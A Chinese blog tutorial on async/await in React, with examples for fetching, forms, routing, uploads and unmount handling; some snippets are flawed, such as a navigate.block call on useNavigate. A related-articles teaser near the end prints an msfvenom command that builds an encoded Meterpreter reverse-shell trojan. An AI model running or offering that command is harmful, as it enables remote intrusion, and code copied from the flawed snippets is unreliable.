【react】在react中async/await一般用来实现什么功能

目录

基本概念

工作原理

优点

注意事项

底层原理

实际应用场景

1. 数据获取 (API 请求)

2. 表单提交

3. 异步状态管理

4. 异步路由切换

5. 异步数据预加载

6. 第三方 API 调用

7. 文件上传/下载

8. 路由导航拦截

关键注意事项

基本概念

async 函数：用 async 关键字声明的函数会返回一个 Promise。如果函数中返回的不是 Promise，JavaScript 会将其包装成一个 resolved 的 Promise。

await 关键字：只能用在 async 函数内部，用于等待一个 Promise 的解决结果。如果等待的不是 Promise，await 会直接返回该值。

示例代码

// 定义一个异步函数
async function fetchData() {try {// 模拟一个异步操作，比如网络请求const response = await fetch('https://api.example.com/data');const data = await response.json(); // 解析响应体为 JSONconsole.log(data);} catch (error) {console.error('Error fetching data:', error);}
}// 调用异步函数
fetchData();

工作原理

async 函数返回一个 Promise：

如果函数中返回的是一个普通值，这个值会被包装成一个 resolved 的 Promise。

如果函数中返回的是一个 Promise，则直接返回该 Promise。

await 暂停函数执行：

当遇到 await 时，函数的执行会被暂停，直到等待的 Promise 被解决。

如果等待的不是一个 Promise，await 会直接返回该值，并继续执行后续代码。

优点

更简洁的代码：相比传统的 Promise 链式调用，async/await 让异步代码看起来像同步代码，逻辑更清晰。

易于调试：错误堆栈更清晰，调试时更容易追踪代码的执行流程。

避免回调地狱：通过 await 逐层等待，避免了嵌套回调的复杂性。

注意事项

只能在 async 函数中使用 await：

// 错误：await 不能在普通函数中使用
function normalFunction() {const result = await somePromise(); // 语法错误
}

错误处理：

async function fetchData() {try {const response = await fetch('https://api.example.com/data');const data = await response.json();console.log(data);} catch (error) {console.error('Error:', error);}
}

使用 try/catch 块捕获 await 的错误，而不是 .catch()。

并发执行： 如果有多个异步操作需要同时执行，可以使用 Promise.all()：

async function fetchMultipleData() {const [data1, data2] = await Promise.all([fetch('https://api.example.com/data1').then(res => res.json()),fetch('https://api.example.com/data2').then(res => res.json())]);console.log(data1, data2);
}

底层原理

async/await 的底层是基于 Promise 和事件循环的。当执行一个 async 函数时，函数内部的代码会被包装成一个 Promise，并立即执行。遇到 await 时，当前函数的执行会被暂停，直到等待的 Promise 被解决。解决后，函数会从暂停的地方继续执行。

实际应用场景

1. 数据获取 (API 请求)

从服务器获取数据是最常见的异步操作场景。

import React, { useState, useEffect } from 'react';const DataFetcher = () => {const [data, setData] = useState(null);const [loading, setLoading] = useState(true);const [error, setError] = useState(null);useEffect(() => {const fetchData = async () => {try {const response = await fetch('https://api.example.com/data');if (!response.ok) {throw new Error('Network response was not ok');}const jsonData = await response.json();setData(jsonData);} catch (error) {setError(error.message);} finally {setLoading(false);}};fetchData();}, []);if (loading) return <div>Loading...</div>;if (error) return <div>Error: {error}</div>;return <div>{JSON.stringify(data)}</div>;
};export default DataFetcher;

2. 表单提交

处理表单提交时，使用 async/await 等待服务器响应。

import React, { useState } from 'react';const AsyncForm = () => {const [name, setName] = useState('');const [email, setEmail] = useState('');const [status, setStatus] = useState('idle');const handleSubmit = async (e) => {e.preventDefault();setStatus('submitting');try {const response = await fetch('https://api.example.com/submit', {method: 'POST',headers: {'Content-Type': 'application/json',},body: JSON.stringify({ name, email }),});if (!response.ok) {throw new Error('Failed to submit');}setStatus('success');} catch (error) {setStatus(`Error: ${error.message}`);}};return (<form onSubmit={handleSubmit}><inputtype="text"value={name}onChange={(e) => setName(e.target.value)}placeholder="Name"/><inputtype="email"value={email}onChange={(e) => setEmail(e.target.value)}placeholder="Email"/><button type="submit" disabled={status === 'submitting'}>{status === 'submitting' ? 'Submitting...' : 'Submit'}</button>{status === 'success' && <div>Submitted successfully!</div>}{status.startsWith('Error') && <div>{status}</div>}</form>);
};export default AsyncForm;

3. 异步状态管理

在组件中管理异步状态。

import React, { useState } from 'react';const AsyncStateExample = () => {const [data, setData] = useState(null);const [loading, setLoading] = useState(true);const fetchData = async () => {try {const response = await fetch('https://api.example.com/data');if (!response.ok) {throw new Error('Network response was not ok');}const jsonData = await response.json();setData(jsonData);} catch (error) {console.error('Error fetching data:', error);} finally {setLoading(false);}};return (<div><button onClick={fetchData} disabled={loading}>{loading ? 'Loading...' : 'Fetch Data'}</button>{data && <div>{JSON.stringify(data)}</div>}</div>);
};export default AsyncStateExample;

4. 异步路由切换

在使用 React Router 时，完成异步操作后再切换路由。

import React, { useState } from 'react';
import { useHistory } from 'react-router-dom';const AsyncRouteExample = () => {const [username, setUsername] = useState('');const history = useHistory();const handleLogin = async () => {try {await new Promise((resolve) => setTimeout(resolve, 1000));history.push('/dashboard');} catch (error) {console.error('Login failed:', error);}};return (<div><inputtype="text"value={username}onChange={(e) => setUsername(e.target.value)}placeholder="Username"/><button onClick={handleLogin}>Login</button></div>);
};export default AsyncRouteExample;

5. 异步数据预加载

在组件渲染前预加载数据。

import React, { useState, useEffect } from 'react';const AsyncDataPreload = () => {const [data, setData] = useState(null);const [loading, setLoading] = useState(true);useEffect(() => {const preloadData = async () => {try {const response = await fetch('https://api.example.com/data');if (!response.ok) {throw new Error('Network response was not ok');}const jsonData = await response.json();setData(jsonData);} catch (error) {console.error('Error preloading data:', error);} finally {setLoading(false);}};preloadData();}, []);if (loading) return <div>Loading data...</div>;return <div>{JSON.stringify(data)}</div>;
};export default AsyncDataPreload;

6. 第三方 API 调用

与浏览器 API 或第三方 SDK 交互。

async function getGeolocation() {return new Promise((resolve, reject) => {navigator.geolocation.getCurrentPosition(resolve, reject);});
}function LocationButton() {const [position, setPosition] = useState(null);const handleClick = async () => {try {const pos = await getGeolocation();setPosition({lat: pos.coords.latitude,lng: pos.coords.longitude});} catch (err) {alert('无法获取位置信息');}};return (<div><button onClick={handleClick}>获取当前位置</button>{position && <Map coordinates={position} />}</div>);
}

7. 文件上传/下载

处理文件上传并跟踪进度。

import axios from 'axios';function FileUploader() {const [progress, setProgress] = useState(0);const uploadFile = async (file) => {const formData = new FormData();formData.append('file', file);await axios.post('/api/upload', formData, {onUploadProgress: (e) => {setProgress(Math.round((e.loaded * 100) / e.total));}});};return (<div><input type="file" onChange={e => uploadFile(e.target.files[0])} />{progress > 0 && <ProgressBar value={progress} />}</div>);
}

8. 路由导航拦截

防止用户在有未保存更改时离开页面。

import { useNavigate, useLocation } from 'react-router-dom';function EditArticle() {const [isDirty, setIsDirty] = useState(false);const navigate = useNavigate();useEffect(() => {const unblock = navigate.block((tx) => {if (isDirty && !window.confirm('有未保存的更改，确定离开？')) {tx.retry();}});return () => unblock();}, [isDirty]);const saveArticle = async () => {await fetch('/api/articles', { method: 'PUT' });setIsDirty(false);navigate('/articles');};return (/* 编辑器 UI */);
}

关键注意事项

  1. 组件卸载时的处理 在 useEffect 中使用标志位避免组件卸载后的状态更新。

useEffect(() => {let isMounted = true;const fetchData = async () => {const data = await fetch('/api/data');if (isMounted) setData(data);};fetchData();return () => { isMounted = false; };
}, []);

  1. 错误处理 捕获并处理异步操作中的错误，避免未处理的承诺拒绝。

try {await fetchData();
} catch (error) {if (error.name !== 'AbortError') {showErrorToast(error.message);}
}

  1. 防抖优化 对频繁触发的异步操作使用防抖。

const search = useDebouncedCallback(async (query) => {const results = await fetchResults(query);setResults(results);
}, 500);

通过以上示例和注意事项，可以全面了解在 React 中如何使用 async/await 处理各种异步场景，提升应用的响应性和用户体验。

React 中 async/await 的典型应用场景包括：

  1. 网络请求（GET/POST/PUT/DELETE）

  2. 文件操作（上传/下载）

  3. 浏览器 API 调用（地理位置/摄像头）

  4. 定时任务（延迟执行）

  5. WebSocket 通信

  6. 数据库操作（IndexedDB）

  7. 动画序列控制

  8. 第三方库集成（支付 SDK）

合理使用异步操作可以使：

  • 代码逻辑更清晰（避免回调地狱）

  • 错误处理更直观（try/catch 统一捕获）

  • 用户体验更友好（加载状态/进度提示）

码字不易，各位大佬点点赞呗

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/pingmian/73510.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

高维小样本数据的在线流特征选择

高维小样本数据的在线流特征选择

发布于24年国际学习和控制论杂志 文献地址 简要总结 《Online streaming feature selection for high-dimensional small-sample data》研究了高维小样本数据&#xff08;HDSS&#xff09;在类别不平衡情况下的在线流式特征选择问题&#xff0c;提出了一种名为OSFSHS的算法。…
阅读更多...
1688.item_search_seller-搜索店铺列表接口返回数据说明

1688.item_search_seller-搜索店铺列表接口返回数据说明

一、接口概述 item_search_seller 是 1688 提供的一个 API 接口&#xff0c;用于搜索店铺列表。通过该接口&#xff0c;开发者可以查询特定店铺的相关信息&#xff0c;包括店铺的基本信息、商品列表等。该接口广泛应用于电商数据采集、市场调研、店铺分析等场景。 二、接口请…
阅读更多...
uniapp主题切换功能，适配H5、小程序

uniapp主题切换功能，适配H5、小程序

实现方法 方法性能消耗维护成本适用场景内联样式较高低小程序CSS变量属性选择器低中H5混合方案中等低跨平台项目 优势特点 性能优化&#xff1a; H5端使用CSS原生变量切换小程序端使用高效样式字符串生成切换动画流畅 维护性提升 主题配置集中管理新增主题只需要拓展vars对象…
阅读更多...
线程未关闭导致资源泄漏

线程未关闭导致资源泄漏

文章目录 资源泄漏&#xff08;线程未关闭&#xff09;问题描述错误实现优化原理正确实现优化原理 资源泄漏&#xff08;线程未关闭&#xff09; 问题描述 应用程序启动时创建线程池处理任务&#xff0c;但未在应用关闭时正确关闭线程池。 现象&#xff1a; 应用重启时&…
阅读更多...
MSF木马的生成及免杀

MSF木马的生成及免杀

先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…
阅读更多...
用C#实现UDP服务器

用C#实现UDP服务器

对UDP服务器的要求 如同TCP通信一样让UDP服务端可以服务多个客户端 需要具备的条件&#xff1a; 1.区分消息类型(不需要处理分包、黏包) 2.能够接收多个客户端的消息 3.能够主动给自己发过消息的客户端发消息(记录客户端信息)…
阅读更多...
如何在 Postman 中发送 PUT 请求？

如何在 Postman 中发送 PUT 请求？

在 Postman 中发送 PUT 请求的步骤相对简单&#xff0c;包括新建接口、选择 PUT 方法、填写 URL 和参数等几个主要步骤。 Postman 发送 put 请求教程
阅读更多...
charles抓包软件免费使用教程

charles抓包软件免费使用教程

本文将给大家介绍Charles破解教程&#xff0c;支持Windows和Mac系统&#xff0c;操作简单&#xff0c;永久免费使用。同时&#xff0c;我们也会提到另一款强大的抓包工具——SniffMaster&#xff08;抓包大师&#xff09;&#xff0c;它在网络调试和数据包分析方面同样表现出色…
阅读更多...
卷积神经网络 - 参数学习

卷积神经网络 - 参数学习

本文我们通过两个简化的例子&#xff0c;展示如何从前向传播、损失计算&#xff0c;到反向传播推导梯度&#xff0c;再到参数更新&#xff0c;完整地描述卷积层的参数学习过程。 一、例子一 我们构造一个非常简单的卷积神经网络&#xff0c;其结构仅包含一个卷积层和一个输出…
阅读更多...
.NET三层架构详解

.NET三层架构详解

.NET三层架构详解 文章目录 .NET三层架构详解引言什么是三层架构表示层&#xff08;Presentation Layer&#xff09;业务逻辑层&#xff08;Business Logic Layer&#xff0c;BLL&#xff09;数据访问层&#xff08;Data Access Layer&#xff0c;DAL&#xff09; .NET三层架构…
阅读更多...
Redis实战常用二、缓存的使用

Redis实战常用二、缓存的使用

一、什么是缓存 在实际开发中,系统需要"避震器"&#xff0c;防止过高的数据访问猛冲系统,导致其操作线程无法及时处理信息而瘫痪. 这在实际开发中对企业讲,对产品口碑,用户评价都是致命的。所以企业非常重视缓存技术; 缓存(Cache)&#xff1a;就是数据交换的缓冲区&…
阅读更多...
STM32八股【2】-----ARM架构

STM32八股【2】-----ARM架构

1、架构包含哪几部分内容 寄存器处理模式流水线MMU指令集中断FPU总线架构 2、以STM32为例进行介绍 2.1 寄存器 寄存器名称作用R0-R3通用寄存器用于数据传递、计算及函数参数传递&#xff1b;R0 也用于存储函数返回值。R4-R12通用寄存器用于存储局部变量&#xff0c;减少频繁…
阅读更多...
effective Java 学习笔记（第二弹）

effective Java 学习笔记（第二弹）

effective Java 学习笔记&#xff08;第一弹&#xff09; 整理自《effective Java 中文第3版》 本篇笔记整理第3&#xff0c;4章的内容。 重写equals方法需要注意的地方 自反性&#xff1a;对于任何非空引用 x&#xff0c;x.equals(x) 必须返回 true。对称性&#xff1a;对于…
阅读更多...
mac命令行快捷键

mac命令行快捷键

光标移动 Ctrl A: 将光标移动到行首。Ctrl E: 将光标移动到行尾。Option 左箭头: 向左移动一个单词。Option 右箭头: 向右移动一个单词。 删除和修改 Ctrl K: 删除从光标到行尾的所有内容。Ctrl U: 删除从光标到行首的所有内容。Ctrl W: 删除光标前的一个单词。Ctrl …
阅读更多...
CentOS 7部署主域名服务器 DNS

CentOS 7部署主域名服务器 DNS

1. 安装 BIND 服务和工具 yum install -y bind bind-utils 2. 配置 BIND 服务 vim /etc/named.conf 修改以下配置项: listen-on port 53 { any; }; # 监听所有接口allow-query { any; }; # 允许所有设备查询 3 . 添加你的域名区域配置 …
阅读更多...
优化 SQL 语句方向和提升性能技巧

优化 SQL 语句方向和提升性能技巧

优化 SQL 语句是提升 MySQL 性能的关键步骤之一。通过优化 SQL 语句，可以减少查询时间、降低服务器负载、提高系统吞吐量。以下是优化 SQL 语句的方法、策略和技巧： 一、优化 SQL 语句的方法 1. 使用 EXPLAIN 分析查询 作用：查看 SQL 语句的执行计划，了解查询是如何执行的…
阅读更多...
C++ 多线程简要讲解

C++ 多线程简要讲解

std::thread是 C11 标准库中用于多线程编程的核心类&#xff0c;提供线程的创建、管理和同步功能。下面我们一一讲解。 一.构造函数 官网的构造函数如下&#xff1a; 1.默认构造函数和线程创建 thread() noexcept; 作用&#xff1a;创建一个 std::thread 对象&#xff0c;但…
阅读更多...
Vscode HTML5新增元素及属性

Vscode HTML5新增元素及属性

一、‌HTML5 语义化标签 HTML5 语义化标签&#xff08;Semantic Elements&#xff09;是一组 ‌具有明确含义的 HTML 元素‌&#xff0c;通过标签名称直接描述其内容或结构的功能&#xff0c;而非仅作为样式容器&#xff08;如 <div> 或 <span>&#xff09;。它们旨…
阅读更多...
【PostgreSQL教程】PostgreSQL 特别篇之 语言接口Python

【PostgreSQL教程】PostgreSQL 特别篇之 语言接口Python

博主介绍：✌全网粉丝22W+，CSDN博客专家、Java领域优质创作者，掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围：SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物联网、机器学习等设计与开发。 感兴趣的可…
阅读更多...
Three学习入门（四）

Three学习入门（四）

9-Three.js 贴图与材质学习指南 环境准备 <!DOCTYPE html> <html> <head><title>Three.js Texture Demo</title><style> body { margin: 0; } </style> </head> <body><script src"https://cdnjs.cloudflare.…
阅读更多...
最新文章

Copyright @ 2022~2023